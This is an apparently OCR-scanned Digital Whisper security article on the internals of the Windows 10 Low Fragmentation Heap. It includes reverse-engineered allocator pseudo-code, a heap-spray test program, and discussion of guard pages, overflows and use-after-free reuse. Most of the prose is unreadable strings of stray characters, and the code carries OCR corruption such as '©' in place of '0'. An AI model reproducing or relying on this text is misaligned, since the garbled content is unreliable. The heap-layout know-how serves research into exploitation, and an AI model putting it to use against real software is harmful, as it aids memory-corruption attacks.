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1o x e x X s ¢ . 1. x 7T« L« 7" %4 Mirosoft s - d >, 7
LFH NT heap¢ = x " x . Tsx 1 x7"x,.
LFH NT heap
v .4 ~xs  qix_ s o« S 1x s s o x
. 1 Ditmap ,_ x 4 éhtink| , X % finked list, 4 - |, 4 x " |
o~ A . XS , S~ S R 14°¢€ o~ A , S CX e X
= - XNT heap® o o B 7 S, , 98 J
B O DO r 1 churki
B R B B T N A S BT |
Lo F 14 x 7 Achank ¢ 4 1 X 01 x
r 4,1, x _  -linked lists
s . X L 110 v 4. x ] L L R 4
L X , F 140 A LUt s 11 ] e _
FdTox Yy b L ot
X 4L« X" X x |z
headers L1 L LS x  headefs _ [ B e x ] 4
10 _x1 "xor 1%, 10 _ x 1 "xor + -chunk
11,474 1. 474147 I NN
c,oovd o b TRRRS] 4 S8 Teoxe A s 4T L x 7oxo, o 1x
s x WLFH " } s backendxfrontend. . x « 4 | S LFHC s X417 *s ) x o« b 4L
164 sx 4L vxqi,4xs Tx, ] 4Cs x4, x X ] . X = x
Floax x 1T e T xXx ] s 0 x ] s 1. T e Ix 1 A
.secure -~ - x {1 _ sllodator- X s _
RN S N T I « X« UAF xheap™ ~» ~ 4“4 ile ~d ~8 K+ x1" T 40«
s sCs o s s, st x xS T x40 DX 14
Lx A7 o x o s BKPHS s ] e X X s I Ts s T X os {7 x Ty
ldimajloc *NTheap * _ I ¢4~ 1+« 4. xFT x> X470 Tpdr I xo
boXxd B sx JFHC oy 41 x 11 L]
b ex g 4o x SR N 1 S I T B I B A T S
S T U I B R I I L S St {XWindows8s™ WArddogws 2 " ¥ X« s d s $ JX
R I O T I I ~ _ ~ _ Thunk: Xmetadatas! L s " X [HFHY ¥ ., & ox

Lo T

Windows 10 RS6 |

= X XJ R ’
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LFH Internals

Fioco ) 47 1 v ] Low Fragmentation Heap * dallocatorfrontends + x 4 s ¢ «

e d1x
17 0 Pl pdxx. o ) T x L, 149 -Chunk o x Dox o Xy
X . r 1L+, - _ -Ghunk coalesce - -consolidate s {1 s 4 fragmentation ~ 1

CRe X X x4 e
on-demand ~ paol . Heap. ~ _ pool -~ W XX fLEHs +  *x 1. .« S ~S
heap 4 x _ 1« T ix 7 s ] lxuntimeX ¥ox ¥ § x o Xy 44 L x
cx 14T pag€ v X, . ¥4 dserblocksw % & " s "X X Thunks 1 ¢ % ¢ 40X
L Huderblockss . Ll x vy s x Iw XD oLchuRkied SEIx S ] s 1411 L], s x x|
e d o by oxex o w-ehunk F 4 X L ok

1. ol xy <L «chunk ¥ & ¥ * . sallocatoks ,, -1 heapL~ | x v 4" X
chunk + 4~ ~ 1 _ _ ¢~ | 8&@x$xx > "ygserhblotk& A 4 ~So x4 o s
S, ~ _ X Jchunks{i "x]I x «  allocato¥s_ 4, +~SL + ¥ + 4~ ~-€hlunks x + 41 x s
F414s 41~ s . xchunkg x 4sse x (v " d T+ f .userblocksx « * I 1 _
<1 x o x« - chuRke L ] v XS px P18 o xs s

s oox X 4 L ¥Ybucket™* Bueket xs:”xx.x]| s, djuderbldcks® + A4 1 * -Chdnk + A

s o1, « 1xxq4x s« Dglignment oo St T +-granuldrity«cs_ Asu MY XS
*x - ' Ox41x0x42,0x43, ~ o x ol . (v 40! YOX10 4 ! Y tranulgeityd s e A ox x|
-S PX o4 WX r 1-butkets « ¢ 1 4« v T ¢ d .1 x userblocks xx« 2 *x « s 7 x

:granularity

Bucket Allocation Size Granularity

1-64 1 - 1,024 bytes 16 bytes
(0x1 - 0x400)

65— 80 1,025 - 2,048 bytes 64 bytes
(0x401 - 0x800)

81-96 2,049 - 4,096 bytes 128 bytes
(0x801 - ©x1000)

97 - 112 4,097 - 8,192 bytes 256 bytes
(0x1001 - ©x2000)

113-128 8,193 - 16,368 bytes 512 bytes
(0x2001 - Ox3FFQ)
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Userblocks - " 1 s x ., { .
L I R , ~ x-éhunk . luserblocksx x ™ granularity . | XX ¢«
s ¢ oI x fréexmalloc ¥ x4 | .~ s o xCs o { L ys
te ) A-Robl* L okesde o« 0 0% 4 - pool allocators o X4SLEHS 4 5 x . L
L T e O R T A S I U o O T B B N T !
Aoty sS4+« Pucketst ~ x 9L ¥Vl TXx x> w1 v xs s hox X
?2x{s {

L 14, «~xs s floitendsx usérspac& s _ X~ Lt v p 4o x o x0T

L buckets + « s < x> Agranularity~ ¥ 'Sbucke#*1 x! TPHs |, x " {4 . i, 1 . s

active = 1« o« xsx s 4 XLFH X DXl Belivels 4 LosIx 4 v x o L,s |

S . X _« s 41batként, S iIX.« _xq{X < xs o x sl 4 X s
Ox11 4 ~ 1~ 11 1 Xx o x s bpucketls | f~x fsfse 48 4 Hs ]sgS s x| L
T x _buckets s ¢ x s 1 4 0x12x active xscdL s« Xogckew, 1+ 4 - X <L

{7 1 x s R L s X L1 LRHs x %Nadtive. 4 487 _ 4.

1 b vs L1l x o x| buckets d . SX S X s S SsFHs X L, {s.] 4 Ts¥

o1t x . < vuseblocks L X 141 1, s Cuserblotks T 4+ ¢ -
XD xow o ox " b, {gctive B dbeckets § 1 -
userblocks . « v « v {bluckets - x ‘Ixuserblockss _ -chunks . 1 =« XL~ X
< x 7
o8 L xs {7 Lox X -ghunk x.*xuderbloaks s * I, v H CXE 4 1 x s

, b SStater X X 7 Fd7 1 0 vl ©ox Tusetblocks® x ‘Ehdinks 1« _ 11 , ~ A

, X" _metadatat _ - - «sulssdgment r wserblocks L | -~ X Xchunk L A4 | P47 T x X x
-« rdchuhk ' ~ ;o dserblocks‘tchunk. L | states -« < Hithdp_r 11«

-S Lstate-s , -« Os s, x . I X . X DX <bitmag™* 1x_L ST 0 Al e d i xS

Srxox L 4s 140 s ioschunk x ] ox oo (S

,pageé  x L .~ L+ L backend. _s<IFHsx | _usetblocks , «~ L + 14, % s 1
~chunks ° x _ lbackehds. - _ « * v XS . Xusarblogkss L I ¥ s g Hd 4

buckets v x X {x I s Cs  Xx 4 Tsx
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s A4 x40 v 4. .1 Auberblockst | Ll ox N oo X x Xx o F T s X, T

FA A s e r 444
0x400 . . s ruserblocks® -ehdinks - x.Q |

Ox78000c - 1+ _ =+ xd4s X4 401L X 1s 4
CY T A x4 s granularnitys s ol l-nkdlS s XA ws¥ o xp Ty x> s s o
backends _userblocks .~ x * 11 T x MG % xS s L X 1w 447 s ]
c 1~ 0 L AtdI'RtpSubSegmentlnitialized ' 1 L | L, x1_ s&s ] 4,58 s
~ X . Xuseybfckss - x 4 s x . ox . XL

//figure out the total sizes of each chunk in the UserBlocks
unsigned int TotalSize = ChunkSize + sizeof(_HEAP_ENTRY);
unsigned short BlockSize = TotalSize / 8;

//this will be the number of chunks in the UserBlocks
unsigned int NumOfChunks = (SizeNoHeader - sizeof(_HEAP_USERDATA_HEADER)) / TotalSize;

//Set the HEAP SUBSEGMENT and denote the end
UserBlocks->SfreeListEntry.Next = NewSubSeg;

char *UserBlockEnd = UserBlock + SizeNoHeader;

//Get the offset of the first chunk that can be allocated

//Windows 7 just used @x2 (2 * 8), which was the size

//of the _HEAP_USERDATA_HEADER

unsigned int FirstAllocOffset = ((((NumOfChunks + ©x1F) / 8) & ©x1FFFFFFC) +
sizeof(_HEAP_USERDATA HEADER)) & BxFFFFFFF8;

UserBlocks->FirstAllocationOffset = FirstAllocOffset;

'1T+« hehders . -~ ¢+ 40 17 «chunks x 1 x 2 %X 4 x>x " x., ] 4¢s , x0C.
|_S
//if permitted, start writing chunk headers every TotalSize bytes
if(UserBlocks + FirstAllocOffset + TotalSize < UserBlockEnd)
{
_HEAP_ENTRY *CurrHeader = UserBlocks + FirstAllocOffset;
do
{
//set the encoded 1fh chunk header, by XORing certain
//values. This is how a Subsegment can be derived in RtlplLowFragHeapFree
*(DWORD)CurrHeader = (DWORD)Heap->Entry ~ NewSubSeg ~
RtlpLFHKey ~ (CurrHeader >> 3);
//FreeEntryOffset replacement
CurrHeader->PreviousSize = Index;
//denote as a free chunk in the LFH
CurrHeader->UnusedBytes = 0x80;
//increment the header and counter
CurrHeader += TotalSize;
Index++;
}
while((CurrHeader + TotalSize) < UserBlockEnd);
}
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L) header* r 4L 1 %X~ _ v 4414 . x x4 | sTsdrblotks I!, Trsd 4 x .
:chunk
r 17 % _ s dubsegmentx sx I x « subsegmert chunk 1 _ -~ 17 4x0 L _ box
s chunks o+ _ .~ x . 1 % LFHC -chlinkb 1 «+ x 4 {1 { L | 1+, 1+« «xsx
r 1 « subsegmeri  © _ Y LFH_ I x A4

x s € 1 ffronteridt 1 % _ Ox808 ¢ s x x UnusedBytes s ! _ *  EFHFlags.1 ,
-+ 1~ 1s> chuhk 4 _ sS4 .11 x40+«  TALFHss 1 ! H4 chunke s x {1 x |
NT heap. -LFH

XindexL X X «NTheap. . {1 4(1_. ~XxX~_* ¢ _s) XRreviousSizé.2 s + _ s = X

.chunks -« v 4. .1 __ 1 < DPFHs] Clbitndp* s ¢4« 1 X
s LFHs 0 T x x4 ] . 7 x ., lserbldckssr sd 1 L Isq esxis T4 A s 0 X
VirtualAllocEx + ., Xpages + 4 backendsd , +r .~ x> 7 x . | batkend.: - s Lot L
ottty x o x 7 ]T " v hReaps ! 4 X 4T e s_os e s e x4 x s 4,

17 .5 4.1~ 11« s 4., s, x X XG4 ps
s ¢ | x  sxor A’ichupk & | header* subsegmeni pointers . x " { 1* 4 T 4 s

L v 45 . xs x 1 1, subsegmeni ehtirikd x _ $y s s 41 5 x%, 7 X

A ~ ~ N

ntdll-* o x> 4 1 <«cooki€  xor 1.<*.*< « -chunkR ~ avérflows 1 " s, <Y

~

cookies . _ 1. s s I x gy x s.<dq. < ynidl!RtlpLFHKey* . « 7 X { X s
headers L 1 1 , -+« ¢ Cheadepst L. ¢ X, b AL x0T e X
e s ) osx ox e s xx o {4« PreViolsSizeor- At x 47 T 1°
bitmap «~ ¢ 1+ _ XLFHs« (,~wyderblocks . 1 ~ x *userblogkss 4 + 4 4" * 14 0s L X
Y « flow-s -~ 1+ lbitmaps: 1 X« X< «sx s 4 4{7chink xvd«x o 4d4%x A
1 fd e v 1 s x
//Initialize the bitmap and zero out its memory (Index == Number of Chunks)

RtlInitializeBitMap(&UserBlocks->BusyBitmap; UserBlocks->BitmapData, Index);
char *Bitmap = UserBlocks->BusyBitmap->Buffer;

unsigned int BitmapSize = UserBlocks->BusyBitmap->SizeOfBitMap;
memset(Bitmap, @, (BitmapSize + 7) / 8);

//This will set all the members of this structure

//to the appropriate values derived from this func

//associating UserBlocks and SegmentInfo
UpdateSubsegment (NewSubSeg,SegmentInfo, UserBlocks);
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s X s ~ ¥ 4 s wserbldcks{: -t 1 TX ™+ 7 Kibitmaps x & ? S ¢ s 4. €.

r 1 dereferences 1 " | X Huserblocks! | 1Y _

\HeapZ>LFHZ>InfoArrays[] ZActiveSubsegment  ZUserBlocks ZBusyBitmap |

. X .1 X X WL~
x * 17 «userbloskd x ” 1 _ 4 fréekrpallot Te74SI¥X x4 4o T4 Xs o 4x
-+ v 4", s@s 1 yserblocka 1 " X XRHS. s, 444 X smalloe! X W A vi. X
userblockss -~ 4 . x o oxs s 470 s chunks | s Bitmape - 7 L

:buckets  Lsubsegments _

//at this point we should have acquired a sufficient subsegment and can

//now use it for an actual allocation, we also want to make sure that

//the UserBlocks has chunks left along w/ a matching subsegment info structures
_HEAP_USERDATA_HEADER *UserBlocks = ActiveSubseg->UserBlocks;

T x chunks o« L X TARHS r Ky *x 1 T xychunk X 1%L T4 4.4 X1

s X X s x fdx 177 xse x4« oeffsét. 1L bitthaps . . . LFMs* 44 x " s

>

1x 7 ehuik® _~w s_ 14 .oxoffset x< %+ 44 dSc . x

//we need to know the size of the bitmap we're searching
unsigned int BitmapSize = UserBlocks->BusyBitmap->SizeOfBitmap;

//Starting offset into the bitmap to search for a free chunk
unsigned int StartOffset = Rand;

void *Bitmap = UserBlocks->BusyBitmap->Buffer;

Ll x s 14 Xreturnvaluel ~® - >t~ .~ 4% 14 XLFHs | % dhink X i X"+ T ¥ L {¥

’ a

FlX s oo 1 X xs s L susertblocka _ " 1 . kL 1 <bitmapsSt v & L X «

chunk «~ x « 1 x 7 4x86, v _ *wd x4 441 w4 xbitmapse 4Xy L~ X xP xq{ 1 s

« « X Bit Scan Forward. _  ~bsf<rd <) 1 x X867 +, X {1 ]

L not s T s 4 x s dWard* X L3 X L v s {H XS o ddx

LA XX X

T v o~ ~

- Tehunks = ! Bsf dnots. 4., 1+~ 7~ x «. s « bitmag 11*s

-Windows UserspacelLow Fragmentation Heap. * « 1 ”
www.DigitalWhisper.co.il
35 2018 -~ * _ 0@ T x 4 L ¥




Technologic

_ lugerblocks ~» x « 410 417 7 {+x

//Rotate the bitmap (as to not lose items) to start
//at our randomly chosen offset
int RORBitmap = __ ROR__(*Bitmap, StartOffset);

//since we're looking for ©'s (FREE chunks)
//we'll invert the value due to how the next instruction works
int InverseBitmap = ~RORBitmap;

//these instructions search from low order bit to high order bit looking for a 1
//since we inverted our bitmap, the 1s will be ©s (BUSY) and the ©s will be 1s (FREE)
// <-- search direction

//H.0 L.O
e L e e e
//li]l1]1]ele|1]1|1]e|1]1]|e]|e]|e
A e e e e EEECEEE L LT

//the following code would look at the bitmap above, starting at L.O

//looking for a bit position that contains the value of one, and storing that index
int Freelndex;

__asm{bsf FreeIndex, InverseBitmap};

Fdcd 10 x 7 offsetd |« X StartOffsetl shitmap-s Do o i
Bit Scan Forward1 x _ = not ~r44~-__*X_index ¥ ™" x X~ . T+ 1
xchunks _ = _ bitmap! 114 >*s <« <4
//shows the difference between the start search index and
//the actual index of the first free chunk found
int Delta = ((BYTE)FreeIndex + (BYTE)StartOffset) & Ox1F;
//now that we've found the index of the chunk we want to allocate
//mark it as 'used'; as it previously was 'free’
*Bitmap |= 1 << Delta;
' w1~ 1 X 7dserblogks . ~191* indeX*"chunks . _ X x o [callers x L
I .0 .x. 1 _ L x heapss) i héapilooxX 41 s xchunk + & X 4 X« N s s
- theader. 1Y s . {41 1 7 x HeapFfee § ~» ¥ 1 x 7 | ¥ heap = fre¢ (, 1 -

* x  {subsSegment. -~ X 1L  ehunk-

SubSegment = *(DWORDY)header * (header / 8) " heap ” RtlpLFHKey ;

« theagers . _ : X x I ] suserblocks¥ chunks _ {* 1 {1 " * Xors* _ix_1 _4
t 1l ¢+ coOkies ] 1Redps o _ X xils o (ks
Fdoox A

PrevSiz& + {1 _ _bitmap. .+ usetlocks x 7 _ _ subsegnents = -~

Lindexs -+« ¢+ 14X 1 _userblocks' ehunks* jndexs - ~  chunks 41 'L |
100 ddusis 0SS Ix, 4% x . {Y bittndpX MM XX {w s
.chunks * « . .
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LFH 4 v x « {7

Lo~ , +allocator™ +.1+ 1 alldcatorr 1, 14> s 11~ 10 X kFHs. - " X441
L sallodators s * s, x s T« UAFR € 1o o~ Jd7LDxxdqd | " x., 40X
layoutr  dheapt x * « X< o o+ 414 X7 o b4 x 4T T x x4 ]
e ddx
17 0 sdAs 4 x7 A ].xl sTmx s ] T x40 {7 X
el e g
S X allocators ¢ Tr44 » x » T _ X Apa Al x g b LSUARI X X Xk s L X
DX x D] s
memory management ¢ x ! 7 . T x 7y " 4" s s+ | kFHS* x o4
ASLR x mitigations = _ 41 x s | MWinows8& | L ] ss €
Sl X v el X B4 X8l oA T , userblocks‘t ! Tl - Foe , S .
P>
BUSY
FREE FREE FREE FREE Alloc #3 FREE FREE FREE
BUSY BUSY BUSY BUSY
aiocad FREE FREE Alloc #7 || Alloc #5 FREE FREE Alloc #6
BUSY
FREE FREE FREE Alloc #1 FREE FREE FREE FREE
BUSY BUSY
Alloc #8 FREE FREE FREE FREE Alloc #2 FREE FREE
Fd X<~ s _ -ghdnk *x.” _x " « Xo L~ {usetblocks s X « ., (I 17 0 47 s Cs
x4 e s e xad 0 14 1L
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BEint main(v
HANDLE hHeap = HeapCreate(©9, 0, 0);

printf("[*] activate bucket ©x%x in LFH\n",
spray(hHeap, ©0x12, FALSE);

printf("[*] spray\n");
spray(hHeap, 0x100, TRUE);

id spray(HANDLE
s
(size_t i =0; i < ; i++) {
p = HeapAlloc( s 0x0, SIZE);
if ( )
printf("HeapAlloc() == %p\n", p);

, size_t , BOOL ) {

int main(void) {
HANDLE hHeap = HeapCreate( , 8, 0);

printf("[*] activate bucket @x%x in LFH\n", N8
spray(hHeap, 0x12, );

printf("[*] spray\n");
spray(hHeap, 0x100, g

~eturn 9;

, size_ t , BOOL ) {

id spray(HANDLE
| soid *p;
J fo =0; 1<
p = HeapAlloc( , @xo, N
if ) {

printf("HeapAlloc() == %p\n", p);

;5 i++) {

[*] activate bucket ©x10@ in LFH
[*] spray
00 1540F274B10
0000 1540F2747E0
00L1540F2746D0
000 1540F2745C0
000L1540F274C20
000 1540F274A00
©000L01540F274D30
0000O1540F2748F0
00BLO1540F273F60
000001540F274070
00BPO1540F274180
00O 1540F274290
000PO1540F2743A0
00 1540F2744B0
000 1540F276CFO
000LR1540F275480
00O 1540F277130
000LO1540F2768B0
00RO 1540F275BF0
00BLO1540F275590
000001540F276470

[*] activate bucket ©x1@@ in LFH
[*] spray

deapAlloc()
deapAlloc()
deapAlloc()
HdeapAlloc()
H{eapAlloc()
deapAlloc()
deapAlloc()
deapAlloc()
HdeapAlloc()
H{eapAlloc()
deapAlloc()
deapAlloc()
HdeapAlloc()
H{eapAlloc()
JeapAlloc()

eapAlloc()

eapAlloc()

eapAlloc()

eapAlloc()

eapAlloc()

eapAlloc()

000002004FFB1A20
000002004FFB1B30
000002004FFB1C40
000002004FFB1D50
000002004FFB1E6O
000002004FFB1F70
000002004FFB2080
000002004FFB2190
000002004FFB22A0
000002004FFB23BO
000002004FFB24CO
©00002004FFB25D0
000002004FFB26EO
000002004FFB27F0
000002004FFB2900
000002004FFB2A10
000002004FFB2B20
000002004FFB2C30
000002004FFB2D40
000002004FFB2E50
©00002004FFB2F60
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userblocks = 1 * s |4 .

S w4 YOox40 > ! buffetr x 7 o _ 4 1477 xoxX s 1 _ss 1. x
s"xv X"y ~‘| ,<vx"x X T x L] 1. x o X = x , |46 x s i
s gradulaity-* s 0 p 4 L DY X OxA00 XL x Y X peyxXs x o ox XL b
x m x4 s x4 s L] cusérbloekd 1 S1% 1S w1 X
LS4, X
17 7 wserbldcksst ” X x | X5 < Fodoe X kehunks 7T v o X L TOx s T AXEGK D Xy
, . % .1~ NThedap S Dackends 1! 41 wserblocks* 1X « o~ _ ¢! x<s < 1%
r S _ %X, userblecks'1x” « 4 v~ . T x. 14¢* s dserblocks, x . * 4 >
X L vl x 7 chynk "o s Txi 4 Vis*chunk, * 4 x |0 _ grandlahitg* , - 1
. s 7 gandaritys - 44 X .
s 4. s, x> 47 s 4. luserblockes & X, M +dd X7 LT XY g
L xS L] X wiv X414 _ 4. v TNTheapt 1.+ XX 114..1721
X X L ox oy %
FChunk 4 1 s e sk o4 44« 4 L owserblocks! Xy s, xx 70 xTexo s O 0 7 s L]
cLLux o X e u AT A X s
backend. s IFHsi ¢+~ | + {-ehunk % uyserblocks ~ * x {1 x {s {4 < 1«4
-chunk. + © X « LFHsx *;pag¢ s _ | * backends. - .1+ Userbldcks , « L ~ v 41 ]
L X1 suserblogkss . o x "L wx o LX s 1A o dAx
, 411 s s [ hadkénd*L rSi_-x.'page . _ r A1 -~ usdrblocks X s .2X {7 .
LFHs © _ . NT heapx x4 ]
L4114 «xs .pageb. -xl.haekehslh *r 1+ Jusetblocks, « 1 P < I T R I
s A -pager y ¥ L vbdackend$ . . L ¥ ¥ ©x X xhedp®  Sied ! Yis x|
cd e~ x1.4x s AJuserblockss x + ¥ £ AL X 1.0
. L S S I 17 _ s wuserbldcks, ' 14« x4 S XD Ges{o oy
LA AT e e by , L1
-Windows UserspacelLow Fragmentation Heap. * « 1 ”
www.DigitalWhisper.co.il
39 2018 -~ * _ 0@ T x 4 L ¥



Technologic

U T SN

- Reserved +0x0006 - SizeindexPadding +0X000C - Signature

0x0010 - )
FirstAllocationOffset +0x001C - BitmapData

0x0012 - BlockStride +0x0014 - BusyBitmap

_HEAP_ENTRY _HEAP_ENTRY

S

L

Memory
Chunks _HEAP_ENTRY _HEAP_ENTRY
_HEAP_ENTRY _HEAP_ENTRY .
Contiguous
) , ) Memory
+0x0000 - SubSegment +0x0004 - Reserved +0x0008 - SizelndexPadding +0x000C - Signature
Firsm'ﬁ:g::fgr-loﬂset 0x0012 - BlockStride +0x0014 - BusyBitmap +0x001C - BitmapData
_HEAP_ENTRY _HEAP_ENTRY
_HEAP_ENTRY _HEAP_ENTRY
_HEAP_ENTRY _HEAP_ENTRY
rSL-headeds o x 1 , T x . 149 *userlocks 11, 1+« xk 1y Xy {7
Y . % ritigAtidne S . " 1" v 47 s 1 AT L T IMSE 586 1w X
Lo L L X 1 -chunk @x40Q x «x | ¥chuhk ¢ 1 -1 _ 1, « _userblocks] L 1y
x « page H ¥ _  GUARD PAGE 1 - wuserblockss 4. 1+ + 4 .0xY8000 , ( + 4
X"« 4" x1"s . {*segfadlt, - X - Ueteferentd » IPAGE NQACSS
q Fox , s y x I R ] e s 1 oL X I x « s - s ¢
Ty st vds s sx Lo s o memepy ¥ ox Ty x0T L XY

L BT

Low Address

UserBlocks 1 for _ HEAP_BUCKET[0x6]

Overflow
Direction

Contiguous

UserBlocks 1 for  HEAP_BUCKET[0x8] Memary

u age [PAGE_

UserBlocks 2 for _ HEAP_BUCKET[0x6]

Higher Address
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Technologic

~ ~ ~ ~ ~ > 1 ~

guardpagee . X _ ~ 1 L ] xdffget*d Is *44 114 x " L _ {guawdspdge + 1 X . _ 1L

userblockss x @ x « % s |14 .

"L N s L X ] , (X" heap* .~ Is X x4l I A A, XTI X A4 sxEy
1 1477 x1ex o ¥ x| J4xs gy 4] x4 I x .1y Floox X

S o~ yr 1t d A X x o 0 v 47 X granulatity * - X e X o W oL X0 o 1d X
17« x 1Y " {varableléngth + st | ~ + 4~ %1 1+ I x> 4 p o X , ok
oL T sd e x e o x4 x X x4 X xs € s

XL l.xes o osoy I1x 0 L b 4. x x

. L ol ss x Xy X .o X by Lt 14~ v 1s s

?Tx L.l O x4 T A BEE I

10X 14 _ fdayjoutd - x _ wserblockss. 4% 1% 4 xop~s oLl @ i g4 |

N

11 474 _ -1 v rd Xces 0T sx Xy 4x |4 XX
L= X" » x| x 7o e e Xs 4 T ox 4 s YT A4 s
21 x ., 0" S ] . v XS « 1~ s ¢ 4 .

Dl g THAC X L S XX ET T X b x X s x ] X x

C o AX A% X uséiblocks S X1 ¥ KX LT k] 4] p 4%y
(A 44, BuaddPagex XH AT« ,_Ax sS4 _x) s 4, %
e X 157,60 X pox 1" % ] {s s¢ X

X 4L Ix b pd X x 710" . 0 ox sy

L I e I e B T T R X oL A7 X x 1) F
CEd X Tsx o X oL es T4 T o x b s x oX |,

(v Al x L schunksx sl L0 x s s 4G Ix Ll L2 . x "

~

e e X s X s X x4 s Te 4y sy
"L itradedff . s | Tugserblocks _ x X x 7 o~ sxoosh4ox 0 ox, O7
. userblockss _ x  *) 1. .X X Lo x4+ b, s x4t T X
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P X "L D SN | L hoxy D S <1|A ,X:'I\ I__||xXA X
X -ghtinks X I oo 7 PR T x . ubkerdlockss | x X1 1

.pages _ userblocks

_ Target #3 Free _ Target #8 Target #6

!
S, x X p 4. Ox 0 4YXx s | heaplS. XL«_L ~~Ryout*lid «xX <] _ XX
Foe X4 4 xehunk AX 7 WX o A" ehdink o A X sl X7 LT 04X
X 4 L« x " Y s q S

x4 chudkl ~4 -~ 1 4 ~chunk d 1~ 49 x4 1 _ 0 XL v 4 *x 1
1-1v7 s¢ D iheaders: o 4 !xI” Loxle o Txx 4] LA x0T
X x 11 cookies{ . x.s poxx ], Jheaders -1 +Ixx sinfoledk] 1% 4 1L -
chunks L _ .~ Xx.1_% . <1 «<d4s _x.hedde-s *: « s xhgapss {! [ 4 *s

(scu, . bhedderr ~ ! X< 1y <o 1s 4" userblbcksd T Fx s s &x 7

L, -userblocks x 1 A4 x 7 X x s T o 0 Tx o, {0 Lx @0 XX
. ~déreference

1.1« X X4 T .5 s d. s b v LFHY  LoxIToxG,sto4s Tsq 1 X s

. v S x _-thunks -« . 4headelts ~ dugerblocks,*x ¢ x « * 4 x4 x ., 1 X

X" e e v e XX X« oxchunks X D s 1 1 4 X headerx | XS X x4 ] s ¢

chunk + J . s ” x _headern offsets “sx_| "is | | jchuhk_ ~ v 17+ XX x pH o 0X
« 1. xS s T X X DX A T T S B 1L sX*X 4 ] x

r 1~ ichunks d _ F X %Al X< L Fdod x " s x4 . ]s X

.userblocks x : x « X

y X X "] . X . K w3~ %21 X1 x s Xk 9 x « s X, <" s X
D x « X S VXN {4 1714s *ooosxxor 4 xS AL XYY
Lo Y X X .chunk t X . < xw* % ¥ X, <" hedder® jchunk + S X x . *)

Fd v wechunk « 49 17s 0 4 x4 x7 17« ¢« o« fteglistt s ¢ st LTl L0 X
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B Technologic

P , X oo~ L X v thunkos Ap*4» AT A % 4 s ¢ o x0T o
ipflocesss  * + 1 ¢ 1s 1 41 dserblocks X "<+ LTSt oed L1 L
UAF ¢ x « {7
I TN x 7o oo A HUAR O Y A s Xl s o d s s X
Ll x7 , X T T s x e ox o4 sxooxs ] W UAFR X v L .
Px o 4850 sxx oo Xx)y I xgos ] s 4 s ]x7 .
s X X, bs Fd X< ~s ox ] is _ X . o1 S x "L
14« ;o x. 1« 404 _chunk = Foxpllx s 0xa® X Hd Shunk « L v F s oL
chunks * « . 19174 frees T 4% mallos” _, ! x+« sx>y {x |4 > 1]
? '|X~~
X 4w s X s g Xl XY e g e e x D X e b X
1.1« X7 sxx o xXx T x s fees  17X4 % L 4 i1 s b dS0 X
x4 o oxx X chunkB !l X% 4 XL X L 4sy
R IR S I Fo, 10x40Q7 o s _ wuderblock o xchtifks Sx P4 x o x 7
F Y, fuserbloeks X ¢ ox « X T 4 41 4 dchunk, x4} L L TRs
1x 47 L. S~ «x s s N X x ]S S R s X x A
Windows10 build + . s _ 7 s¢ s, . 1x s x,J].s I XxI |s 1.
P4 T« v 7 ) x X A x LT X ppl XX héagex 1S14ul" ] si17134 ¢ Y -
S X v . sbhucketx L ¥« DX 4 X D hegp®s Jxx s ol T 0, A
S X LS INXI X DL oA0B) A L X X Adss T e b4 X

projects\LFH>LFH_tester.exe

activate bucket ©x16@ in LFH

for fun and "fair" game

we passed 20 allocations until we got the last freed chunk
we passed 38 allocations until we got the last freed chunk
we passed 1 allocations until we got the last freed chunk
we passed 4 allocations until we got the last freed chunk
we passed 1 allocations until we got the last freed chunk
we passed 21 allocations until we got the last freed chunk
we passed 27 allocations until we got the last freed chunk
we passed 3 allocations until we got the last freed chunk
we passed 4 allocations until we got the last freed chunk
we passed 8 allocations until we got the last freed chunk
we passed 1 allocations until we got the last freed chunk
we passed 21 allocations until we got the last freed chunk
we passed 3@ allocations until we got the last freed chunk
we passed allocations until we got the last freed chunk
we passed allocations until we got the last freed chunk
we passed allocations until we got the last freed chunk

e bt e e b et b e b d b b e e e e e ed

C
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[

-Windows UserspadelLow Fragmentation Heap. * 1
www.DigitalWhisper.co.il
43 2018 -~ * _ 0@ T x 4 L ¥




Technologic

I'xy 4 "dserbloCkss x > .0 . _ o~ X704 T A4 p X oS
, X - x < chunke ~- X7 %0 1 ¢~ chunkludata®- ~ T¥YXKFHS ~ 1+ 4~ 1+ ¢ 4. %X 1%
x4 *xo 17 _ 7T 1x I sunhnitiaizeddatas ¢ X 4 N1 * | xchdnK * X ix + ¢
wChunk « 4 ¢ 1 s userbldcks {datd | | -~ L 101 s ¢ Coe L~ .o
FUAFR, L x <4 7% Dx o Dx e ox Dy Yy s T 44 x0T hxe X
x _frees. 1* s¢s T ox X x X 4] 1
x 1 3 x 14 _
I R T ST s LA A+ 4 v B Fde X o9,

AFH X {s L v ]

S v d o X e P AR BIs s L LY X XS k. g Xy s
PLboxoy X Fdoox b flews* | x0Tl X L4 sx X PSS RSN B Fd* 41
cxds o x4 x4 buckef X kx ¥ e X o9 S d p e s Y

bucket-t ¢+ 4 _x .1 s 4 XL es SCRE 7§, L xx Jsx 7 I x4 ¢ A
exs oL, x C o G PFH 4 L T S $ e 1 41 L B0OXAY activatiand | ¢ . 1 1L

variable length arrays * - FlY 41 CX X 1T dd X x s Lo L
r &ctivated + « hdcket., _ 1 Ybeicket TdH4 ¥ x x < " 4 s " 4] 1A
LFH.  ~» x>*  NTheapg” ,st* x 1 s . x . >* 1x ¢ o A1 s ¥Jd_ $418%. -

LFRE X x  x 2 0 ol {2 T X R X
S Dox 4 L x 10%400Qu% <L~ kLl X fromtendl LFH, o~ XS oL T 0 . v T
« L _  LPH* _ | mitigationss 1« ~NTheag_ 4,! 1 *backend.” 1ixx . 4 4  4Y 4
L ox 4 T4 heaps. S X XU L L o4 s 6 T x s X Xy , S

.~ projectzero 1! 4 ¢ . x [ xCs s Xx X ox{l X

Dx 4.7y I x 1 SUFHss imetadatas K 14 data 3 e X 47 L XX 1L p Y

R N I SV I B S N SR B

» X, 1 s LFH chunks x | s | ghunk .. |,header* s ! _  RrevidusSize
- ibitmap™ 417 x x o effsetsl 4 X W { X _ thunks " dndexs ,: « - Lo 4]

.userblocks
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https://googleprojectzero.blogspot.com/2017/12/apacolypse-now-exploiting-windows-10-in_18.html

Technologic

sl os~ .t 4L s s
int RtlpLowFragHeapFree( HEAP *Heap, HEAP_ENTRY *Header)
{
short BitmapIndex = Header->PreviousSize;
//Set the chunk as free
Header->UnusedBytes = 0x80;
bittestandreset(UserBlocks->BusyBitmap->Buffer, BitmapIndex);
}
T 1 xerx s * x  « header x X IL 1PrevidusSizé subsegmeni pointer-. ! x ¥y { " X
Soos x4 o] x " Headers Ly X, &y T s 40, s X4l X O
